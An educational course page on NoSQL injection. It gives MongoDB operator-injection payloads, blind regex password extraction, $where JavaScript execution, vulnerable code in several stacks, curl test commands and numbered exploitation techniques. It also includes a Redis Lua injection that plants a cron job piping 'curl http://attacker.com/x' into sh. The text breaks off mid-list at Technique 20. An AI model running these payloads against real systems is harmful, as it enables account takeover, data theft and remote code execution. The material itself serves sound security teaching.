InjectionMediumServer-Side

NoSQL Injection

A complete guide to understanding, detecting, exploiting, and preventing NoSQL Injection vulnerabilities.

Take Exam

Step 1 of 2Introduction0% Complete

Introduction

NoSQL INJECTION (NoSQLi)

A complete ANAS EDUCATION course on the bug class that quietly replaced SQL injection in modern stacks.

  • CWE-943 (Improper Neutralization of Special Elements in Data Query Logic)
  • OWASP A03:2021 (Injection)
  • CVSS: typically 7.5 to 9.8
  • Status: rising sharply in 2026 as more apps move to MongoDB and document stores

SECTION 1. Introduction

Imagine you open your PC and visit `anastech.com`.

You go to the login page. Two text boxes: username and password. You type `anas` and `password123`. You click "Sign in".

Behind the scenes, your browser sends an HTTP request to the server:

text
POST /api/login HTTP/1.1
Host: anastech.com
Content-Type: application/json

{"username":"anas","password":"password123"}

The server runs Node.js with MongoDB. The code looks like this:

javascript
app.post('/api/login', async (req, res) => {
    const { username, password } = req.body;
    const user = await User.findOne({ username, password });
    if (!user) return res.status(401).json({ error: 'Invalid credentials' });
    res.json({ token: createToken(user) });
});

The line that does the work is `User.findOne({ username, password })`. It builds a MongoDB query that looks like this:

javascript
{ username: "anas", password: "password123" }

MongoDB reads the `users` collection, finds the document whose `username` field equals `"anas"` AND whose `password` field equals `"password123"`, and returns it. If found, you are logged in.

Normal, expected, safe.

Now look at the same picture again, but with a question on top of it:

  • What if you did not send a plain string for the password?
  • What if you sent the JSON document `{"$ne": null}` instead?

The body becomes:

json
{"username":"anas","password":{"$ne":null}}

The Node.js code does no type checking. It passes the parsed object straight to MongoDB. The query becomes:

javascript
{ username: "anas", password: { $ne: null } }

`$ne` is MongoDB's "not equal" operator. The query now says: "Find the user whose username is `anas` AND whose password is *not equal to null*." Every user with a password matches that condition. MongoDB returns the first one. The server logs you in. As anyone. Without ever knowing the password.

That is the simplest possible NoSQL injection.

The bug is the same shape as SQL injection but the language is different. The attacker did not type SQL syntax into a string field. The attacker turned a string field into an object with an operator in it. The server, which expected a string, parsed an object and asked the database to use it as a query.

This course teaches the NoSQL injection bug class from zero. By the end you will know:

  • What a NoSQL database query looks like in MongoDB, CouchDB, Redis, Cassandra, and Firebase.
  • Why JSON parsers and type confusion are the heart of every NoSQL injection.
  • How MongoDB operators ($ne, $gt, $regex, $where, $in, $exists) become weapons.
  • How to bypass authentication, dump credentials, and run arbitrary JavaScript inside the database.
  • Twenty-five concrete exploitation techniques.
  • How to write secure code in Node.js, Python, and other modern stacks.
  • How NoSQL injection is exploited differently than SQL injection in 2026.

NoSQL injection is the bug class that quietly grew while everyone was talking about SQL injection. If you build modern web applications, you almost certainly use a NoSQL database somewhere. Learn this one carefully.

SECTION 2. How It Works

To find NoSQL injection bugs, you need to picture what happens when a JSON object is parsed and used as a database query.

Step 1. The browser sends JSON

The most common modern API style is JSON over HTTPS. Your browser packages a login request like this:

text
POST /api/login HTTP/1.1
Host: anastech.com
Content-Type: application/json

{"username":"anas","password":"password123"}

Step 2. The server parses JSON into an object

The Node.js server uses Express's `body-parser`. It reads the raw bytes, parses the JSON, and gives the developer a JavaScript object:

javascript
req.body = { username: "anas", password: "password123" }

The crucial property: `req.body.username` is a string, `req.body.password` is a string. The JSON parser preserved the types. But if the attacker sent `{"password": {"$ne": null}}`, then `req.body.password` is an object, not a string.

Step 3. The server hands the object to the driver

In MongoDB with the Node.js driver or Mongoose:

javascript
const user = await User.findOne({ username: req.body.username, password: req.body.password });

This is the entire bug, on one line. The developer typed object syntax. They thought of it as "find the user whose username and password are these two values". They never thought "what if `password` is itself an object containing operators?"

Step 4. The database parses the operators

MongoDB receives the query document and walks it. For each field, it looks at the value:

  • If the value is a primitive (string, number, boolean), it does an equality match.
  • If the value is a document containing `$` operators, it applies the operators.

So `password: "password123"` means "password equals the string `password123`". And `password: {$ne: null}` means "password is not equal to null". Every existing password matches.

Visual: the safe flow

text
┌──────────┐  POST {"u":"anas","p":"pw"}    ┌──────────┐
│ Browser  │ ─────────────────────────────► │ Server   │
└──────────┘                                └────┬─────┘
                                                 │
                                                 │ req.body = {u:"anas", p:"pw"}
                                                 │
                                                 │ String type-checked:
                                                 │ if typeof p !== 'string' reject
                                                 │
                                                 │ findOne({u:"anas", p:"pw"})
                                                 ▼
                                           ┌──────────┐
                                           │ MongoDB  │
                                           └──────────┘
                                      Equality match on both fields.
                                      No user found unless both correct.

Visual: the vulnerable flow

text
┌──────────┐  POST {"u":"anas","p":{"$ne":null}}   ┌──────────┐
│ Browser  │ ─────────────────────────────────────►│ Server   │
└──────────┘                                       └────┬─────┘
                                                        │
                                                        │ req.body = {
                                                        │   u: "anas",
                                                        │   p: { $ne: null }
                                                        │ }
                                                        │
                                                        │ No type check.
                                                        │
                                                        │ findOne({ u, p })
                                                        ▼
                                                  ┌──────────┐
                                                  │ MongoDB  │
                                                  └──────────┘
                                       Operator $ne applied:
                                       "password is not null"
                                       Matches the user.
                                       Login succeeds.

Two flavors: syntax injection and operator injection

NoSQL injection has two main shapes:

  • Operator injection (the most common shape in 2026). The attacker turns a string value into an object containing operators like `$ne`, `$gt`, `$regex`, `$in`, `$where`, `$exists`. The query semantics change, but the syntax is still valid JSON.
  • Syntax injection (older, found mostly in legacy code). The attacker concatenates strings into a query template that the application builds at runtime. For MongoDB this typically targets the `$where` operator which used to accept a JavaScript expression as a string.

Most modern Node + MongoDB apps fall to operator injection. Most legacy Express + MongoDB apps that used `$where` with concatenation fall to syntax injection.

Beyond MongoDB

The same idea applies to other NoSQL stores:

  • CouchDB ==> JavaScript map/reduce functions, view definitions, Mango query objects. Injection happens when user input becomes part of a map function or a Mango selector.
  • Redis ==> Less of a query language, but commands like `EVAL` accept Lua scripts. Concatenating user input into a Lua script enables Redis command injection.
  • Cassandra ==> CQL has injection patterns similar to SQL because it is SQL-like, but with different keywords.
  • Firebase / Firestore ==> Security rules and query filters can be bypassed when user input is used to build server-side queries.
  • Elasticsearch ==> Query DSL is JSON. Operator injection lets attackers turn a `term` match into a `match_all` or use `script` queries.

This course focuses on MongoDB because it is the most common target, but the same principles apply everywhere a query is built from a parsed JSON object.

SECTION 3. Attack Flow

Here is the full life of a NoSQL injection attack against a MongoDB-backed Node.js application.

Step 1. Map the input

You browse `anastech.com` and find every endpoint that takes JSON input. Login, register, search, filter, settings, admin panels. Anywhere the server uses `req.body`, `req.query`, or `req.params`.

Step 2. Probe with the simplest payload

For each input that takes a string, you try sending an object containing `$ne` instead:

json
{"username":"anas","password":{"$ne":""}}

You watch the response. If the login succeeds, the application is vulnerable.

Step 3. Confirm with related operators

You repeat with several operators to confirm what is happening:

  • `{"$ne": null}` matches any non-null value.
  • `{"$gt": ""}` matches any non-empty string.
  • `{"$regex": ".*"}` matches everything via regex.
  • `{"$exists": true}` matches if the field exists.

If all of these bypass authentication, you have full operator injection.

Step 4. Find which user you became

The application replies with a JWT or a session cookie. Decode it. You see `{"user_id": "67faabc...", "username": "anas"}` or similar. Compare to the user you sent. If it is a different user (often the first user in the collection, which is usually admin), you are now logged in as them.

Step 5. Target a specific user

The `$ne` operator matches "any user". To log in as a specific user, you keep `username` as a plain string and only inject into `password`:

json
{"username":"administrator","password":{"$ne":""}}

You bypass the password check while still pinpointing administrator.

Step 6. Extract password via blind boolean

If the API does not display the password but only "login OK" or "login fail", you exfiltrate the password one character at a time using `$regex`:

json
{"username":"administrator","password":{"$regex":"^a"}}

If login succeeds, the first character is `a`. Try `b`, `c`, ... until one works. Then move to the second character: `^aa`, `^ab`, ...

Step 7. Use $where for code execution

On older MongoDB instances where the `$where` operator is enabled, you can run arbitrary JavaScript inside the server:

json
{"username":"admin","password":{"$gt":""},"$where":"sleep(5000)"}

The server executes `sleep(5000)` as JavaScript inside the database process. You confirm code execution by timing. Then you read the file system or call external HTTP from inside that JavaScript.

Step 8. Exfiltrate via timing

Combine `$where` with conditional sleeps to exfiltrate character by character through response time:

json
{"$where":"if (this.username == 'admin' && this.password[0] == 'a') sleep(5000)"}

Step 9. Pivot

Once you have admin's password or the admin's session token, you reuse it on related services (single sign-on, internal APIs, cloud consoles). NoSQL injections frequently lead to full account takeover and lateral movement.

Timing diagram

text
TIME (s)   YOU                                  SERVER
0.00       POST /login {"u":"anas","p":"x"}  ─►
0.01                                              401 Unauthorized
0.10       POST {"u":"anas","p":{"$ne":""}} ─►
0.11                                              200 OK, returns JWT
0.20       Decode JWT
0.21       sub = "67faabc..." (admin's ID)
0.30       POST {"u":"admin","p":{"$regex":"^a"}} ─►
0.31                                              200 OK
0.40       POST {"u":"admin","p":{"$regex":"^ab"}} ─►
0.41                                              401
...
1.20       POST {"u":"admin","p":{"$regex":"^secret"}} ─►
1.21                                              200 OK
2.00       Admin password recovered.

Total time from first probe to admin takeover on a vulnerable target: under one minute by hand, seconds with NoSQLMap.

SECTION 4. Why Developers Make This Mistake

NoSQL injection is now common in 2026 because of four mental shortcuts.

Mistake 1. "JSON is data, not code."

Developers think of JSON as inert data. They forget that the moment you parse JSON, you get a JavaScript object. And the moment you pass that object to MongoDB's `findOne`, the keys of that object are interpreted as field names *or* operators based on whether they start with `$`. The "data" is now query syntax.

Mistake 2. "I use Mongoose and have a schema."

Mongoose schemas do help. They cast fields to expected types when documents are *saved*. But they do not always cast values inside query *filters*. Specifically, when you do:

javascript
User.findOne({ username, password });

if `password` is an object containing `$ne`, Mongoose passes it through to the driver without complaint. The CVE-2025-23061 vulnerability showed that `$where` could be injected through Mongoose's `populate.match` option even with schemas in place. The `sanitizeFilter: true` connection option helps but is not enabled by default.

Mistake 3. "Our login does a comparison, so what could go wrong?"

This is the most common single-line bug:

javascript
const user = await User.findOne(req.body);

The developer wrote it because it is short and "obviously correct". They believed `findOne` does a strict equality check. In MongoDB, `findOne` interprets `$`-prefixed keys as operators. The attacker can inject operators by sending an object instead of a string.

Mistake 4. "Operator injection sounds theoretical."

It is not theoretical. It is the most common NoSQL injection in 2026. MongoDB had 23 security vulnerabilities published in 2025 and 12 already in 2026, with an average severity score of 6.6 out of 10. The most common pattern in code reviews is six characters wide: `{ u, p }` passed to `findOne`.

Mistake 5. "The frontend only sends strings."

The frontend you control only sends strings. The attacker writes their own client. They send whatever JSON they want. The server is the only thing that decides what types are acceptable.

SECTION 5. Beginner Summary

  • NoSQL injection happens when an attacker sends a JSON object containing query operators (like `$ne` or `$regex`) in a place where the server expected a plain string.
  • In MongoDB the most famous payload is `{"$ne": null}` for a password field, which makes the database match every user.
  • The two main flavors are operator injection (modern, against MongoDB/Mongoose) and syntax injection (legacy, against `$where` with concatenation).
  • The fix is to enforce types: check that every field arriving from the user is the type you expect (string, number, boolean) before using it in a query. Sanitize JSON to strip `$`-prefixed keys with libraries like `express-mongo-sanitize` or Mongoose's `sanitizeFilter` option.
  • NoSQL injection enables authentication bypass, blind data extraction via `$regex`, and (on `$where`-enabled instances) arbitrary JavaScript execution inside the database process.

SECTION 6. Visual Explanation

Safe pattern: type checking before the query

text
┌──────────────────────────────────────────────────────────────┐
│ SERVER CODE                                                  │
├──────────────────────────────────────────────────────────────┤
│  if (typeof req.body.username !== 'string') reject;          │
│  if (typeof req.body.password !== 'string') reject;          │
│                                                              │
│  User.findOne({                                              │
│      username: req.body.username,                            │
│      password: req.body.password                             │
│  })                                                          │
│                                                              │
│  ┌─────────────────────────────────────┐                     │
│  │ query = {                           │   ┌──────────┐      │
│  │   username: "anas",                 │ ─►│ MongoDB  │      │
│  │   password: "password123"           │   └──────────┘      │
│  │ }                                   │  Equality on        │
│  └─────────────────────────────────────┘  both fields.       │
└──────────────────────────────────────────────────────────────┘

Vulnerable pattern: object passed straight through

text
┌──────────────────────────────────────────────────────────────┐
│ SERVER CODE                                                  │
├──────────────────────────────────────────────────────────────┤
│  User.findOne(req.body)                                      │
│                                                              │
│  ┌─────────────────────────────────────┐                     │
│  │ query = {                           │   ┌──────────┐      │
│  │   username: "anas",                 │ ─►│ MongoDB  │      │
│  │   password: { $ne: null }           │   └──────────┘      │
│  │ }                                   │  $ne operator       │
│  └─────────────────────────────────────┘  applied.           │
│                                           Any non-null pw    │
│                                           matches.           │
└──────────────────────────────────────────────────────────────┘

The operator family

text
                   ┌─────────────────────────┐
                   │ MongoDB query operators │
                   └────────┬────────────────┘
                            │
   ┌─────────────┬──────────┼───────────┬─────────────────┐
   │             │          │           │                 │
┌──▼───┐    ┌────▼────┐  ┌──▼────┐   ┌──▼────┐       ┌────▼────┐
│ EQ   │    │ COMPARE │  │ LIST  │   │REGEX  │       │ LOGIC   │
└──────┘    └─────────┘  └───────┘   └───────┘       └─────────┘
$eq         $ne, $gt,    $in,        $regex          $or, $and,
            $gte, $lt,   $nin                        $not, $nor
            $lte
                                                     ┌─────────┐
                                                     │ JS EVAL │
                                                     └─────────┘
                                                     $where,
                                                     $function,
                                                     $accumulator

Operator injection vs syntax injection

text
============================================================
 OPERATOR INJECTION (modern)
============================================================
Attacker sends:
  {"username":"anas", "password": {"$ne": null}}

Server passes object to findOne unchanged.

Database walks the document:
  username -> equality match
  password -> "$ne" operator applied
============================================================

============================================================
 SYNTAX INJECTION (legacy)
============================================================
Server code:
  query = "this.username == '" + u + "' && this.password == '"
          + p + "'";
  User.find({$where: query})

Attacker sends:
  username = "anas' || '1'=='1"
  password = "x"

Resulting JS expression:
  this.username == 'anas' || '1'=='1' && this.password == 'x'

The OR makes the entire expression true. JavaScript syntax
injection through the $where operator.
============================================================

Authentication bypass ladder

text
                        ┌──────────────────────────────┐
                        │ STAGE 5: full account access │
                        │ admin token / session reuse  │
                        └──────────┬───────────────────┘
                                   │
                        ┌──────────┴───────────────────┐
                        │ STAGE 4: target a specific   │
                        │ user (regex / known username)│
                        └──────────┬───────────────────┘
                                   │
                        ┌──────────┴───────────────────┐
                        │ STAGE 3: extract password    │
                        │ char-by-char via $regex      │
                        └──────────┬───────────────────┘
                                   │
                        ┌──────────┴───────────────────┐
                        │ STAGE 2: bypass auth with    │
                        │ $ne or $gt                   │
                        └──────────┬───────────────────┘
                                   │
                        ┌──────────┴───────────────────┐
                        │ STAGE 1: probe with operator │
                        │ in a JSON field              │
                        └──────────────────────────────┘

SECTION 7. Definition

Technical definition

NoSQL Injection (CWE-943, "Improper Neutralization of Special Elements in Data Query Logic") is a class of vulnerabilities in which an attacker provides input that is interpreted by a NoSQL database driver as query syntax rather than as a literal data value. The most common forms are: (a) operator injection, in which an attacker sends a JSON object containing reserved operator keys (`$ne`, `$gt`, `$regex`, `$where`, `$in`, etc.) where the application expected a primitive value, causing the database driver to interpret those keys as query operators; and (b) syntax injection, in which user input is concatenated into a query expression (commonly a JavaScript string passed to MongoDB's `$where` operator) before the driver parses it. The vulnerability arises whenever a JSON parser produces objects of unexpected types that are then passed to a database query without validation, when application code uses string concatenation to construct query bodies, or when the application invokes server-side script evaluation operators with attacker-controlled input. Successful exploitation enables authentication bypass, unauthorized data read and write, denial of service, and (where script-evaluation operators are reachable) arbitrary code execution within the database engine.

Beginner-friendly definition

A NoSQL injection is when you send a tiny JSON object with operators in it, and the database reads those operators instead of treating them as a password.

Why it matters

  • CVE-2025-23061 (Mongoose) ==> Allowed injection of the `$where` operator through Mongoose's `populate.match` option even with schemas in place. Demonstrated that schema typing does not fully defend against NoSQL injection.
  • CVE-2024-48573 (Aquila CMS) ==> NoSQL injection allowed account takeover by resetting another user's password. User-provided filters were not sanitized, enabling malicious operator injection in the password reset flow.
  • MongoDB had 23 security vulnerabilities published in 2025 and 12 already in 2026, with an average severity score of 6.6 out of 10 according to public CVE tracking.
  • CVE-2025-14911 (mongo-c-driver, January 2026) ==> CVSS 7.1. User-controlled chunkSize metadata from MongoDB lacks appropriate validation allowing malformed data to be processed.
  • CVE-2025-14847 (MongoDB Server, December 2025) ==> CVSS 8.7. Mismatched length fields in Zlib compressed protocol headers may allow a read of uninitialized memory.
  • MongoDB Meow attack (2020) ==> Over 1000 exposed MongoDB databases were wiped by an automated bot. While not strictly NoSQL injection, it illustrates the operational risk of weak controls around NoSQL stores.
  • CVE-2017-7494 (SambaCry-style abuse in Cassandra) ==> Showed that NoSQL clusters frequently lack the network hardening of relational stacks.

NoSQL injection used to be rare. In 2026, it is one of the most common high-severity bugs in bug bounty programs that test modern Node.js APIs. Snyk, Imperva, and PortSwigger all flagged NoSQL injection as a top OWASP A03 risk for modern stacks.

Common affected systems

  • Express.js / Node.js applications backed by MongoDB or Mongoose.
  • Python / Flask / FastAPI applications using pymongo without type validation.
  • CouchDB applications that build Mango queries from user input.
  • Firestore applications with composite queries built from request bodies.
  • Elasticsearch applications that forward user JSON into the Query DSL.
  • Mobile back-ends that take JSON from React Native or Flutter clients.
  • Microservices that accept JSON between internal services and trust the type.
  • GraphQL resolvers that translate user input directly into NoSQL queries.
  • Headless CMS platforms with NoSQL storage layers.
  • Real-time platforms (chat, multiplayer) backed by Firestore / Realtime Database.

SECTION 8. Examples

Example 1. The login bypass on AnasOne

The feature. AnasOne is a SaaS dashboard. The login endpoint is `POST /api/login` and accepts JSON: `{"username":"anas","password":"password123"}`. The server uses Mongoose: `User.findOne({ username, password })`.

The bug. No type checking on `req.body.password`. The password value goes straight into the Mongo query.

The attack step by step.

  • Step 1. You open Burp Suite and intercept a login.
  • Step 2. You change the body to `{"username":"administrator","password":{"$ne":""}}`.
  • Step 3. The server runs `User.findOne({ username: "administrator", password: {$ne: ""} })`.
  • Step 4. MongoDB finds the administrator user whose password is not equal to empty string. The query returns the row.
  • Step 5. The server issues a session token for administrator.
  • Outcome: full administrator access to the dashboard, including user management.

Example 2. The blind password extraction on AnasBank

The feature. AnasBank exposes a login API. The response is generic: either `{"status":"ok"}` with a token or `{"error":"invalid credentials"}`. The hash of the password is stored in the `password` field.

The bug. The `password` value is passed straight into the Mongoose query without type checking. The application uses an unhashed password field (a separate bug, but irrelevant to the injection itself).

The attack step by step.

  • Step 1. You confirm operator injection by sending `{"username":"administrator","password":{"$ne":""}}`. Login succeeds.
  • Step 2. You start extracting characters with `$regex`. You send `{"username":"administrator","password":{"$regex":"^a"}}`. Login fails.
  • Step 3. You loop through the alphabet. `{"$regex":"^b"}`, `{"$regex":"^c"}`, ... at `{"$regex":"^p"}` login succeeds. First character is `p`.
  • Step 4. You move to the second character: `{"$regex":"^pa"}`, `{"$regex":"^pb"}`, ... successful at `{"$regex":"^pa"}`. Second char is `a`.
  • Step 5. You continue until you have extracted the full password `password123`.
  • Outcome: full credential theft for the administrator account without ever seeing the password directly in the response.

Example 3. The filter injection on AnasMarket

The feature. AnasMarket has a product API at `GET /api/products?filter={"category":"shoes"}`. The application JSON-decodes the `filter` query parameter and passes it to `Product.find(filter)`.

The bug. The entire `filter` object is built from user input and passed unchanged to MongoDB.

The attack step by step.

  • Step 1. You change the URL to `GET /api/products?filter={"$where":"sleep(5000)"}`.
  • Step 2. The request takes 5 seconds longer than usual. `$where` is enabled and you have arbitrary JavaScript execution.
  • Step 3. You change the URL to `GET /api/products?filter={"$where":"this.price < 1"}`.
  • Step 4. The API returns every product with price less than 1 (free items, internal SKUs, hidden stock).
  • Step 5. You exfiltrate users from another collection: `GET /api/products?filter={"$where":"function(){var u=db.users.findOne({username:'admin'}); return this.id == u.id;}"}`.
  • Outcome: cross-collection data exfiltration through `$where`.

Example 4. The CouchDB Mango query bypass on AnasDocs

The feature. AnasDocs uses CouchDB. Users search documents through `POST /api/search` with JSON `{"selector":{"author":"anas"}}`. The application forwards the selector to CouchDB.

The bug. The selector is taken from `req.body` without filtering. Users can supply arbitrary Mango selectors.

The attack step by step.

  • Step 1. You change the body to `{"selector":{"_id":{"$gt":""}}, "fields":["_id","title","secret"]}`.
  • Step 2. CouchDB returns every document, including the `secret` field which contains API keys.
  • Step 3. You exfiltrate the entire collection.
  • Outcome: data leak from a database that the developer thought was authorization-protected.

Example 5. The Lua injection on AnasSocial via Redis EVAL

The feature. AnasSocial uses Redis for caching. An admin endpoint runs `EVAL` with a Lua script that accepts a user-supplied "filter" string and uses it to filter cached items.

The bug. The Lua script is built by concatenating the filter string into Lua code.

The attack step by step.

  • Step 1. You find the admin endpoint and observe the EVAL pattern.
  • Step 2. You inject Lua syntax: `'); redis.call('CONFIG','SET','dir','/var/spool/cron/crontabs'); redis.call('CONFIG','SET','dbfilename','root'); redis.call('SET','reverse','* * * * * curl http://attacker.com/x | sh'); redis.call('SAVE'); --'`.
  • Step 3. Redis writes a malicious cron file. The cron daemon picks it up and runs the curl command every minute.
  • Outcome: remote code execution on the application server via Redis EVAL Lua injection.

SECTION 9. Vulnerable Code

These are the wrong patterns in five common modern stacks.

Node.js + MongoDB (driver)

javascript
// VULNERABLE
const { MongoClient } = require('mongodb');
const client = new MongoClient(uri);
await client.connect();
const db = client.db('anastech');
const users = db.collection('users');

app.post('/api/login', async (req, res) => {
    const user = await users.findOne(req.body);   // BUG: object passed straight through
    if (!user) return res.status(401).send('No');
    res.json({ token: createToken(user) });
});
// Attacker sends {"username":"admin","password":{"$ne":""}} and logs in.

Node.js + Mongoose

javascript
// VULNERABLE
const User = mongoose.model('User', new Schema({
    username: String,
    password: String
}));

app.post('/login', async (req, res) => {
    const { username, password } = req.body;
    const u = await User.findOne({ username, password });   // BUG
    if (!u) return res.sendStatus(401);
    res.json({ ok: true });
});
// Schema declaring "password: String" does NOT cast the query filter.
// Mongoose passes the object to MongoDB unchanged.

Node.js with $where concatenation (legacy)

javascript
// VULNERABLE
app.get('/find', (req, res) => {
    const filter = `this.username == '${req.query.user}'`;   // BUG: concatenation into JS
    User.find({ $where: filter }, (err, results) => res.json(results));
});
// Attacker sends ?user=' || '1'=='1 and gets every user.

Python + pymongo

python
# VULNERABLE
from pymongo import MongoClient
from flask import Flask, request, jsonify

app = Flask(__name__)
db = MongoClient().anastech

@app.post('/api/login')
def login():
    data = request.get_json()   # data could be {"username":"a","password":{"$ne":null}}
    user = db.users.find_one(data)   # BUG: object passed unchanged
    return jsonify({"ok": bool(user)})
# Attacker sends {"username":"admin","password":{"$ne":null}} and logs in.

Python + FastAPI + Motor

python
# VULNERABLE
from fastapi import FastAPI, Body
import motor.motor_asyncio

app = FastAPI()
db = motor.motor_asyncio.AsyncIOMotorClient().anastech

@app.post('/login')
async def login(body: dict = Body(...)):   # BUG: untyped dict
    user = await db.users.find_one(body)
    return {"ok": bool(user)}
# A proper Pydantic model would force types and stop the attack.

CouchDB / Mango selector

javascript
// VULNERABLE
app.post('/search', async (req, res) => {
    const { selector } = req.body;       // attacker supplies the entire selector
    const r = await fetch(`${COUCHDB}/docs/_find`, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ selector })
    });
    res.json(await r.json());
});
// Attacker sends {"selector":{"_id":{"$gt":""}}} and reads every doc.

Elasticsearch DSL

python
# VULNERABLE
@app.post('/search')
def search():
    query = request.get_json()
    return es.search(index='docs', body=query)   # BUG: full body trusted
# Attacker sends {"query":{"match_all":{}}} and gets every document.
# Attacker sends {"query":{"script":{"source":"..."}}} for code execution (on older ES).

The universal pattern across stacks

Every example contains the same three steps:

  • Step 1. The framework parses incoming JSON into an object (Python dict, JS object, Go map).
  • Step 2. The application takes the object as is and uses it (or a field of it that is itself an object) as the filter / query / selector.
  • Step 3. The database driver walks the object and interprets `$`-prefixed keys (or similar reserved syntax) as operators rather than literal field names.

The fix is always the same: enforce types. Decide which fields you accept, what type each one is, and validate before the query.

SECTION 10. Detection

Manual detection

  • Step 1. Identify endpoints that accept JSON bodies, query parameters that look like JSON, or any place where the application parses user input into a structured value.
  • Step 2. For each input that the developer "expects" to be a string, try replacing it with an object containing a `$` operator.
  • Step 3. Probe with `{"$ne":""}`, `{"$ne":null}`, `{"$gt":""}`, `{"$exists":true}`, `{"$regex":".*"}`.
  • Step 4. Watch for changed behavior: a different status code, a different response body, a longer response time.
  • Step 5. If the application uses URL parameters like `?username[$ne]=`, you have parameter pollution-style NoSQL injection. Try `?username[$ne]=&password[$ne]=`.
  • Step 6. For `$where` detection, send a payload with a 5-second JS sleep: `{"$where":"sleep(5000)"}` and time the response.

Burp Suite step by step

  • Step 1. Open Burp Suite and enable Intercept.
  • Step 2. In Firefox or Chrome, route through Burp.
  • Step 3. Visit `https://anastech.com` and find a login form. Submit it. Capture the request.
  • Step 4. Right-click the captured POST and choose "Send to Repeater".
  • Step 5. In Repeater, modify the JSON body. Change `"password":"x"` to `"password":{"$ne":""}`.
  • Step 6. Click Send. Look at the response. A 200 OK instead of 401 means injection works.
  • Step 7. If the input arrives as a URL query string like `?username=anas&password=x`, try URL parameter pollution: `?username=admin&password[$ne]=` (Burp will encode the bracket).
  • Step 8. For deeper auditing, set the password field as a payload position in Intruder and use a custom list of payloads.

Automated tools

Quick command-line scripts

bash
# Test login bypass via curl
curl -s -X POST https://anastech.com/api/login \
    -H "Content-Type: application/json" \
    -d '{"username":"administrator","password":{"$ne":""}}' | head
bash
# Test $where time-based
time curl -s -X POST https://anastech.com/api/search \
    -H "Content-Type: application/json" \
    -d '{"$where":"sleep(5000)"}'
bash
# Try URL parameter pollution
curl -s "https://anastech.com/login?username=admin&password[%24ne]="
bash
# Use NoSQLMap to scan automatically
nosqlmap.py --target https://anastech.com --uri /api/login --batch

Indicators of vulnerability

  • An authentication endpoint returns 200 OK when the password field is replaced with `{"$ne":""}` or `{"$gt":""}`.
  • A search endpoint returns more rows when the filter is replaced with `{"$exists":true}` or `{"$ne":null}`.
  • Response time changes when a `$where` payload contains `sleep(5000)`.
  • Different result count when `$regex` is used vs an exact match.
  • The application accepts a JSON object where it expected a string (no 400 Bad Request).
  • The framework does not coerce types: `req.body.password` keeps the object type rather than being cast to string.
  • URL parameter pollution like `?password[$ne]=` succeeds (Express's qs parser converts brackets into nested objects).

SECTION 11. Exploitation

Workflow

  • Step 1. Identify a JSON endpoint (login, search, settings, admin).
  • Step 2. Confirm the bug with a single operator (`$ne`, `$gt`).
  • Step 3. Identify the database (MongoDB / Couch / Firebase / Elasticsearch) by error messages and behavior.
  • Step 4. Identify the injection point (operator injection vs `$where` injection vs Mango selector).
  • Step 5. Identify the target user / collection.
  • Step 6. Extract data (direct, blind regex, or via `$where`).
  • Step 7. Escalate to code execution if `$where` is enabled.
  • Step 8. Pivot.

Technique 1. The $ne authentication bypass

The classic. Send an object containing `$ne` in the password field.

json
{"username":"administrator","password":{"$ne":""}}
{"username":"administrator","password":{"$ne":null}}
{"username":"administrator","password":{"$ne":1}}

Any value that is not equal to the right side matches. Since real passwords are not empty/null/1, every user matches.

Technique 2. The $gt authentication bypass

json
{"username":"administrator","password":{"$gt":""}}

Any non-empty string is "greater than" empty string in MongoDB's ordering.

Technique 3. The $exists check

json
{"username":"administrator","password":{"$exists":true}}

Returns any user whose password field exists. Useful when `$ne` is blocked.

Technique 4. The $regex authentication bypass

json
{"username":"administrator","password":{"$regex":".*"}}

Matches everything. Often allowed when `$ne` and `$gt` are blocked.

Technique 5. Targeted login as a specific user

Keep the username concrete and inject only into the password.

json
{"username":"administrator","password":{"$ne":""}}

Now you log in as exactly `administrator`, not any user.

Technique 6. Blind password extraction with $regex (character by character)

json
{"username":"administrator","password":{"$regex":"^a"}}
{"username":"administrator","password":{"$regex":"^b"}}
{"username":"administrator","password":{"$regex":"^c"}}
...
{"username":"administrator","password":{"$regex":"^p"}}

When login succeeds, the first character of the password is `p`. Continue with `^pa`, `^pb`, ... to find the second character.

Technique 7. Blind password extraction with $regex (binary search)

Instead of trying every character one by one, do a binary search by comparing ranges:

json
{"username":"administrator","password":{"$regex":"^[a-m]"}}
{"username":"administrator","password":{"$regex":"^[n-z]"}}

This finds each character in ~5 requests instead of 26.

Technique 8. Length extraction via $regex

json
{"username":"administrator","password":{"$regex":"^.{1}$"}}
{"username":"administrator","password":{"$regex":"^.{2}$"}}
...
{"username":"administrator","password":{"$regex":"^.{10}$"}}

The one that succeeds tells you the password length.

Technique 9. The $in array operator

json
{"username":{"$in":["administrator","admin","root","superuser"]},"password":{"$ne":""}}

Try multiple admin-like usernames in one request.

Technique 10. The $where JavaScript injection

If `$where` is enabled (MongoDB <4.4 default, sometimes enabled in newer versions for compatibility):

json
{"$where":"sleep(5000)"}

If the request takes 5 extra seconds, you have arbitrary JavaScript execution inside MongoDB.

Technique 11. $where exfiltration via timing

json
{"$where":"if (this.username == 'admin' && this.password.charAt(0) == 'a') sleep(5000)"}

Time-based blind exfiltration: extract any field of any document by combining a conditional with sleep.

Technique 12. $where for cross-collection reads

json
{"$where":"function(){var u = db.users.findOne({username:'admin'}); return this._id == u._id;}"}

Even when querying products, you can reach into the users collection through `$where`.

Technique 13. URL parameter pollution

Express + body-parser + qs converts `?user[$ne]=` into the JS object `{user: {$ne: ""}}`. This works in any endpoint that takes a query parameter and uses it as a Mongo filter.

text
GET /api/search?username=admin&password[$ne]=&action=login

Technique 14. Operator injection via JSON header

If the endpoint accepts JSON in a custom header (some GraphQL gateways do):

text
X-Filter: {"username":"admin","password":{"$ne":""}}

Technique 15. Cookie-based operator injection

If the application stores a session-like JSON in a cookie and later parses and uses it:

text
Cookie: prefs={"role":{"$ne":"user"}}

Technique 16. Mongoose populate.match injection (CVE-2025-23061 pattern)

If the application uses `User.find().populate({path: 'orders', match: req.body.match})`, the attacker controls the match object.

json
{"match":{"$where":"sleep(5000)"}}

This bypasses Mongoose's type casting and reaches a vulnerable operator.

Technique 17. CouchDB selector injection

json
POST /docs/_find
{"selector":{"_id":{"$gt":""}}, "fields":["_id","secret_field"]}

Read everything from the database that the credentials can see.

Technique 18. CouchDB list/view function injection

If the application creates temporary views from user input:

javascript
function(doc) {
    if (doc.author == 'PARAM') emit(doc._id, doc);
}

Concatenating a user value where `PARAM` is becomes JavaScript injection.

Technique 19. Firestore where-clause injection

In a serverless function:

javascript
db.collection('orders').where(field, '==', value).get()

If `field` and `value` are both user-controlled, you can read any column by varying `field`.

Technique 20. Elasticsearch script query

json
